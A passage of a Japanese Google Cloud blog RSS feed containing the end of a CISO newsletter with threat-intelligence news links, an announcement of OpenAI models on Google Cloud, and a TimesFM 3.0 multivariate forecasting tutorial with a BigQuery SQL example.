    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;Google Cloud CISO Community にご参加ください&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac258eeb90&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;詳細&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&amp;amp;utm_content=cisop_&amp;amp;utm_term=-&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: GCAT-replacement-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="29tyz"&gt;&lt;b&gt;脅威インテリジェンスに関するニュース&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="8ncls"&gt;&lt;b&gt;AI 時代の脆弱性の発見と悪用の傾向&lt;/b&gt;: 脆弱性の迅速な発見と悪用によるリスクの増大に対抗するには、優先順位がないパッチの一括適用から、脅威インテリジェンスに基づくトリアージに移行し、標的型のエッジ防御とエージェントによる自動修復を組み合わせる必要があります。&lt;a href="https://cloud.google.com/blog/ja/topics/threat-intelligence/vulnerability-discovery-and-exploitation-trends-in-the-ai-era?e=48754805&amp;amp;hl=ja"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="9drgs"&gt;&lt;b&gt;Citrix NetScaler ADC および Gateway アプライアンスの脆弱性のアクティブな悪用に対する防御&lt;/b&gt;: Mandiant Consulting と Google Threat Intelligence Group（GTIG）は、Citrix NetScaler ADC および NetScaler Gateway アプライアンスに影響を及ぼすゼロデイ脆弱性のエクスプロイトが実際に行われていることを確認しました。封じ込めと修復のガイダンスをご紹介します。&lt;a href="https://cloud.google.com/blog/ja/topics/threat-intelligence/vulnerability-discovery-and-exploitation-trends-in-the-ai-era?e=48754805&amp;amp;hl=ja"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="1f1ov"&gt;&lt;b&gt;ShinyHunters、Oracle PeopleSoft を標的とした大規模な脆弱性悪用キャンペーンを再開&lt;/b&gt;: Mandiant と Google Threat Intelligence Group（GTIG）は、UNC6240（ShinyHunters）による CVE-2026-35273 の大規模な悪用キャンペーンの再開と、複数のセクターにわたる世界的な標的の拡大を確認しました。&lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="6v2bm"&gt;&lt;b&gt;コード パイプラインと CI / CD インフラストラクチャの堅牢化によるプロアクティブな防御&lt;/b&gt;: ソフトウェア開発ライフサイクル全体を通じて、現在進行形で悪用されている脅威ベクトル、サードパーティのリスク、およびアーキテクチャ上の脆弱性からソフトウェア サプライチェーンを保護するために設計された、ソフトウェア / プラットフォーム アーキテクト向けの実践的なガイドラインをご覧ください。&lt;a href="https://cloud.google.com/blog/ja/topics/threat-intelligence/hardening-code-pipelines-and-ci-cd-infrastructure?e=48754805&amp;amp;hl=ja"&gt;&lt;b&gt;詳細はこちら&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="bp5gj"&gt;&lt;a href="https://cloud.google.com/blog/ja/topics/threat-intelligence/"&gt;今月公開された&lt;/a&gt;その他の脅威インテリジェンス関連の記事については、Google Cloud 公式ブログをご覧ください。&lt;/p&gt;&lt;p data-block-key="8m237"&gt;&lt;b&gt;注目の Google Cloud ポッドキャスト&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="a6ihn"&gt;&lt;b&gt;Cloud Security Podcast: AI、エージェント、Rust、タブを使用したブラウザのパッチ適用&lt;/b&gt;: Chrome Security の Jasika Bawa と Doug Turner が、Google Chrome が AI エージェントを使用して、これまでにない規模でセキュリティの脆弱性を自律的に特定してパッチを適用し、ブラウザのアップデート頻度を大幅に向上させている方法について説明します。&lt;a href="https://www.youtube.com/watch?v=pCXT8lQqg_U" target="_blank"&gt;&lt;b&gt;ポッドキャストを聴く&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="a2jpf"&gt;&lt;b&gt;Cloud Security Podcast: Wiz の AI 脆弱性調査プロジェクト Atlas のすべて&lt;/b&gt;: Wiz の脆弱性調査責任者である Nir Orfeld 氏が、クラウド インフラストラクチャにおける深刻なゼロデイ脆弱性を発見するために、チームがマルチエージェント AI システムをどのように活用しているかを詳しく解説します。&lt;a href="https://www.youtube.com/watch?v=qRJJ9ekpuVg" target="_blank"&gt;&lt;b&gt;ポッドキャストを聴く&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;li data-block-key="761je"&gt;&lt;b&gt;Cloud Security Podcast: 脆弱性のクラスを大規模に根絶する Google の手法&lt;/b&gt;: AI がコードを記述し、人によるレビューが追いつかない状況下でも、セキュリティを維持できる Google 規模のセキュアなエンタープライズ基盤を構築するにはどうすればよいでしょうか。Google のプリンシパル セキュリティ エンジニアである Christoph Kern が、AI 時代における「安全性を重視した設計」の真の意味を探ります。&lt;a href="https://www.youtube.com/watch?v=43imRRfgLgc" target="_blank"&gt;&lt;b&gt;ポッドキャストを聴く&lt;/b&gt;&lt;/a&gt;。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="aimsa"&gt;月 2 回発行される「Cloud CISO の視点」をメールで受信するには、&lt;a href="https://cloud.google.com/resources/google-cloud-ciso-newsletter-signup"&gt;ニュースレターに登録&lt;/a&gt;してください。次回も Google Cloud からセキュリティ関連の最新情報をお届けします。&lt;/p&gt;&lt;p data-block-key="549ai"&gt;&lt;i&gt;- Google Cloud、クラウド セキュリティ ポリシー、政府関連業務および公共政策責任者、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Stephanie Kiel&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 22 Oct 2026 10:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</guid><category>Cloud CISO</category><category>Public Sector</category><category>Security &amp; Identity</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Cloud_CISO_Perspectives_header_4_Blue.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Cloud CISO の視点: CISO や政策立案者が PQC への準備を整えるのに役立つ Gemini Notebook の新しいノートブック</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Cloud_CISO_Perspectives_header_4_Blue.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Stephanie Kiel</name><title>Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud</title><department></department><company></company></author></item><item><title>Google Cloud がモデルの選択肢と柔軟性を拡充、OpenAI モデルを提供開始</title><link>https://cloud.google.com/blog/ja/products/ai-machine-learning/google-cloud-brings-openai-models-to-customers/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="wma0p"&gt;※ この投稿は米国時間 2026 年 10 月 22 日に Google Cloud Blog に&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/google-cloud-brings-openai-models-to-customers?hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="86hrn"&gt;Google Cloud は、選択肢の豊富さ、エンタープライズ レベルのガバナンス、そして業界トップクラスのコスト パフォーマンスで高く評価されてきました。このオープンで柔軟な基盤において重要となるのが、コスト、能力、パフォーマンスの最適なバランスを実現するために、お客様が選択したモデルやインフラストラクチャを横断して、エージェントティックなワークロードを柔軟に実行できるようにすることです。本日、 Google はこの基盤を拡張するために、Google Cloud のモデル ガーデンにおいて OpenAI モデルの提供を開始したことを発表しました。&lt;/p&gt;&lt;p data-block-key="6r3pa"&gt;Google Cloud は、統合されたエンタープライズ AI プラットフォーム上で、200 以上のファーストパーティ、サードパーティ、およびオープンモデルに加え、3 つの主要クローズド ソース LLM へのアクセスを提供するハイパースケール クラウド プロバイダーとなります。&lt;/p&gt;&lt;h3 data-block-key="amhhh"&gt;&lt;b&gt;あらゆるワークロードに最適なモデルを&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="nm1i"&gt;現代のエンタープライズ AI において、すべてのタスクを単一のモデルに依存するのではなく、それぞれのワークロードに適したモデルを組み合わせることが不可欠です。OpenAI の最新モデルをモデル ガーデンに組み込むことで、エンタープライズにおけるあらゆるワークロードに対応する幅広い選択肢を提供します。OpenAI モデルについて：&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="96da6"&gt;&lt;b&gt;GPT-6 Astra:&lt;/b&gt; コーディング、コンピュータの操作、専門的なタスク、および科学研究にわたる、高度な要求を伴う業務向けに設計&lt;/li&gt;&lt;li data-block-key="2s7hs"&gt;&lt;b&gt;GPT-6.1 Sol:&lt;/b&gt; エージェンティック コーディング、コンピュータ操作、専門的業務において、より低いコストで Astra に近いレベルの知能を実現&lt;/li&gt;&lt;li data-block-key="6es2m"&gt;&lt;b&gt;GPT-6 Luna:&lt;/b&gt; 大規模な日常業務に最適な高速かつ低コストモデル&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="6qv63"&gt;お客様はこのプラットフォームを活用することで、アーキテクチャの制約や個別のベンダー契約に縛られることなく、パフォーマンス、レイテンシ、費用対効果に応じた最適なモデルを、あらゆるユースケースに合わせて動的に選択し、切り替えることができます。開発者は、 モデル ガーデン上の数百もの選択肢を活用して自由に開発を進められます。また、OpenAI モデルは Google Cloud Marketplace を通じて直接取引されるため、すべての利用実績が単一の Google Cloud の請求書にまとまり、既存のクラウド コミットメントの消化に充てられるほか、モデル プロバイダーを横断した&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/flexible-billing-and-cost-controls-for-agents-on-google-cloud?hl=ja"&gt; Flexible Savings Plans（FSP）&lt;/a&gt;の対象としてもカウントされます。&lt;/p&gt;&lt;h3 data-block-key="1alnh"&gt;&lt;b&gt;組み込みのデータ ガバナンスとエンタープライズ セキュリティ&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="5en08"&gt;生成 AI の規模を拡大するにあたり、コンプライアンスやセキュリティを犠牲にする必要はありません。&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;Gemini プラットフォーム&lt;/a&gt;はエンタープライズ ガバナンスを念頭に構築されており、現在、世界をリードする多くの組織から信頼を得ています。サードパーティや OpenAI のワークロードを実行する際にも、厳格なエンタープライズ基準を確実に満たすよう徹底しています。&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="10fnn"&gt;&lt;b&gt;厳格なデータ境界:&lt;/b&gt; お客様のプロンプト、コンテキスト、出力結果は、指定されたデータ境界内に完全に保持され、基盤モデルのトレーニングに使用されることは決してありません。また、データを保持しないゼロ リテンション オプションも近日中に選択可能になる予定です。&lt;/li&gt;&lt;li data-block-key="6vpv1"&gt;&lt;b&gt;分離されたアクセス境界:&lt;/b&gt; OpenAI モデルは、 近日中に Confidential Compute 上に構築された専用の Google Cloud インフラストラクチャ上で動作するようになる予定です。すべてのクエリは堅牢化された独立ゲートウェイを経由してルーティングされるため、データ転送は Google Cloud の安全な環境内のみに留まり、サードパーティのモデル プロバイダーがお客様のクラウド環境に不正アクセスすることはありません。&lt;/li&gt;&lt;li data-block-key="flvm1"&gt;&lt;b&gt;統合された監査とアイデンティティ:&lt;/b&gt; エージェントおよびモデルとのすべてのやり取りは認証済みのアイデンティティの下で動作し、IT 管理者に対してエンドツーエンドの可視性、 VPC Service Controls による保護、およびエンタープライズ環境全体にわたる統合された監査ログを提供します。&lt;/li&gt;&lt;/ul&gt;&lt;h3 data-block-key="br8co"&gt;&lt;b&gt;今すぐはじめるには&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="3mn0n"&gt;Google Cloud のモデル ガーデンでは、一部のエンタープライズ顧客を対象に、OpenAI の GPT-6 Astra、GPT-6.1 Sol、GPT-6 Luna モデルのプライベート プレビューの提供を開始しており、今後さらに提供範囲を拡大する予定です。本日より、お客様は Google の API を通じてこれらのモデルを活用した構築を行えるほか、ローカルの Codex CLI やデスクトップ ワークフローを Gemini プラットフォームに直接接続して推論を実行できます。ご関心のある方は、&lt;a href="https://cloud.google.com/resources/interest/openai-models"&gt;こちらのフォーム&lt;/a&gt;（英語）よりお申し込みください。&lt;/p&gt;&lt;p data-block-key="ekit"&gt;さらに近日中に、OpenAI モデルが、Google Cloud の Gemini for business および Google Antigravity に登場します。これにより、エンタープライズのお客様や開発者の皆様にモデルの選択肢、柔軟性、そして各タスクに最適なモデルを提供します。&lt;/p&gt;&lt;p data-block-key="3n1fu"&gt;&lt;/p&gt;&lt;p data-block-key="piba"&gt;&lt;i&gt;-&lt;/i&gt;&lt;b&gt;&lt;i&gt;Michael Gerstenhaber&lt;/i&gt;&lt;/b&gt;&lt;i&gt;, VP, Product Management, Gemini, Google Cloud&lt;/i&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 22 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/ai-machine-learning/google-cloud-brings-openai-models-to-customers/</guid><category>AI &amp; Machine Learning</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Open-ai-google-models-hero.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Google Cloud がモデルの選択肢と柔軟性を拡充、OpenAI モデルを提供開始</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Open-ai-google-models-hero.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/ai-machine-learning/google-cloud-brings-openai-models-to-customers/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Michael Gerstenhaber</name><title>VP, Product Management, Gemini, Google Cloud</title><department></department><company></company></author></item><item><title>BigQuery で多変量時系列予測を行う TimesFM 3.0 のご紹介</title><link>https://cloud.google.com/blog/ja/products/data-analytics/bigquery-timesfm-3-0-with-multivariate-time-series-forecasting/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 13 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/bigquery-timesfm-3-0-with-multivariate-time-series-forecasting?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;概要&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery に&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-forecast"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI.FORECAST&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用したゼロショット時系列予測が導入されて以来（当初は TimesFM 2.0 を搭載し、後に TimesFM 2.5 にアップグレード）、カスタムモデルのトレーニングや管理を行うことなく、SQL で直接予測を生成できるようになりました。しかし、TimesFM 2.5 までは、これらの基盤モデルは単変量予測に限定されており、単一の時系列の履歴のみから将来の値を予測していました。実際には、現実世界の予測問題のほとんどは多変量であり、関連するターゲットと、天気、プロモーション、休日などの外部要因が組み合わさって将来の結果を形成します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;本日、BigQuery での TimesFM 3.0 プレビュー版のリリースをお知らせできることを嬉しく思います。Google Research が開発した&lt;/span&gt;&lt;a href="https://research.google/blog/timesfm-3-a-zero-shot-foundation-model-for-multivariate-forecasting" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;TimesFM 3.0&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; は、3 億 3,000 万のパラメータを持つ最先端の基盤モデルで、BigQuery SQL 内で直接、組み込みの多変量時系列予測を実現できるように設計されています。TimesFM 3.0 は、GIFT-Eval、FEV-Bench、TIME という 3 つの主要な公開時系列リーダーボードすべてで 1 位を獲得しており、既存の基盤モデルと比較して、共変量予測タスクと多変量予測タスクの両方で最高のゼロショット精度を達成しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TimesFM 3.0 は、新しい多変量機能に加えて、AI.FORECAST による単変量予測と&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-detect-anomalies"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AI.DETECT_ANOMALIES&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; による異常検出のドロップイン アップグレードとしても機能します。既存のワークフローでも、&lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;model =&amp;gt; 'TimesFM 3.0'&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; を指定するだけで、向上したベンチマーク精度の恩恵をすぐに享受できます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;新機能: 多変量基盤モデリング&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TimesFM 3.0 により、BigQuery では AI.FORECAST を通じて、使い慣れた SQL ワークフローにエンタープライズ グレードの多変量モデリングを取り入れることができます。&lt;/span&gt;&lt;/p&gt;
&lt;div align="left"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;
&lt;div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col/&gt;&lt;col/&gt;&lt;col/&gt;&lt;/colgroup&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;機能&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;TimesFM 2.0 / 2.5&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;TimesFM 3.0&lt;/strong&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;予測の範囲&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;単変量のみ&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;単変量と多変量&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ターゲット列&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;単一のターゲット&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;単一または複数のターゲット&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;過去の値のみを含む共変量列&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;非対応&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;サポート対象&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;過去と未来の値を含む共変量列&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;非対応&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td style="vertical-align: top; border: 1px solid #000000; padding: 16px;"&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;サポート対象&lt;/span&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery SQL を使用した多変量予測&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これらの機能がどのように連携するかを確認するために、NYC Citi Bike の一般公開データセット（&lt;/span&gt;&lt;a href="https://console.cloud.google.com/bigquery?ws=!1m5!1m4!4m3!1sbigquery-public-data!2snew_york!3scitibike_trips"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;bigquery-public-data.new_york.citibike_trips&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;）を使用して、7 日間の通勤（subscriber_trips）とレジャー（casual_trips）の自転車利用を予測してみましょう。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery は、多変量予測に単一テーブルの入力形式を使用します。この形式では、次の 2 つの行セットが結合されます。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;過去の観測行&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 開始時間（2016 年 1 月 1 日）から予測カットオフ日（2016 年 6 月 1 日）までのタイムスタンプ。ターゲット指標、過去の共変量、既知の将来の共変量がすべて入力されています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;将来のホライズン行&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 7 日間の予測ホライズン（2016 年 6 月 1 日～2016 年 6 月 7 日）にわたるタイムスタンプ。既知の将来の共変量が入力され、ターゲット列と過去のみの共変量は NULL に設定されています。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;WITH data AS (\r\n  SELECT\r\n    DATE(starttime) AS date,\r\n    IF(MIN(starttime) &amp;lt; &amp;#x27;2016-06-01&amp;#x27;, COUNTIF(usertype = &amp;#x27;Subscriber&amp;#x27;), NULL) AS subscriber_trips,\r\n    IF(MIN(starttime) &amp;lt; &amp;#x27;2016-06-01&amp;#x27;, COUNTIF(usertype = &amp;#x27;Customer&amp;#x27;), NULL) AS casual_trips,\r\n    IF(MIN(starttime) &amp;lt; &amp;#x27;2016-06-01&amp;#x27;, AVG(tripduration / 60.0), NULL) AS avg_duration_min,\r\n    IF(EXTRACT(DAYOFWEEK FROM MIN(starttime)) IN (1, 7), 1.0, 0.0) AS is_weekend\r\n  FROM `bigquery-public-data.new_york.citibike_trips`\r\n  WHERE starttime &amp;gt;= &amp;#x27;2016-01-01&amp;#x27; AND starttime &amp;lt; &amp;#x27;2016-06-08&amp;#x27;\r\n  GROUP BY date\r\n)\r\nSELECT\r\n  *\r\nFROM\r\n  AI.FORECAST(\r\n    TABLE data,\r\n    MODEL =&amp;gt; &amp;#x27;TimesFM 3.0&amp;#x27;,\r\n    TIMESTAMP_COL =&amp;gt; &amp;#x27;date&amp;#x27;,\r\n    TARGET_COLS =&amp;gt; [&amp;#x27;subscriber_trips&amp;#x27;, &amp;#x27;casual_trips&amp;#x27;],\r\n    PAST_COVARIATE_COLS =&amp;gt; [&amp;#x27;avg_duration_min&amp;#x27;],\r\n    FUTURE_COVARIATE_COLS =&amp;gt; [&amp;#x27;is_weekend&amp;#x27;]\r\n  );&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;lang-sql&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac25804510&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このクエリは、TimesFM 3.0 でサポートされている 3 つの多変量ディメンションを示しています。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;相関するターゲット（&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-forecast#multivariate"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;target_cols&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;）の予測&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 利用者セグメントごとに個別のモデルを実行する代わりに、TARGET_COLS =&amp;gt; ['subscriber_trips', 'casual_trips'] を渡すことで、1 回の呼び出しで両方の指標を同時に予測できます。TimesFM 3.0 は、通勤利用者とカジュアル利用者における系列間の動向（天候に対する共通の感度や、週末の利用パターンの違いなど）を捉えます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;過去の共変量（&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-forecast#multivariate"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;past_covariate_cols&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;）の使用&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 平均乗車時間（avg_duration_min）、過去の来店数、計画外のサービス中断など、一部のシグナルは過去にしか観測できず、事前に把握できません。PAST_COVARIATE_COLS =&amp;gt; ['avg_duration_min'] を渡す（将来のホライズン行は NULL に設定）ことで、モデルに過去のコンテキストが提供されます。これにより、その特徴量の将来の値を必要とせずに、一時的な変動と根本的な傾向を区別できます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;将来の共変量（&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-forecast#multivariate"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;future_covariate_cols&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;）の使用&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: 週末（is_weekend）、休日、予定されているプロモーションなど、その他の外部要因は、履歴ウィンドウと予測ホライズンの両方で事前に把握できます。FUTURE_COVARIATE_COLS =&amp;gt; ['is_weekend']（2016 年 6 月 7 日までのすべての行に設定）を渡すことで、TimesFM 3.0 は今後のカレンダー イベントを直接反映して 7 日間の予測を行うことができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
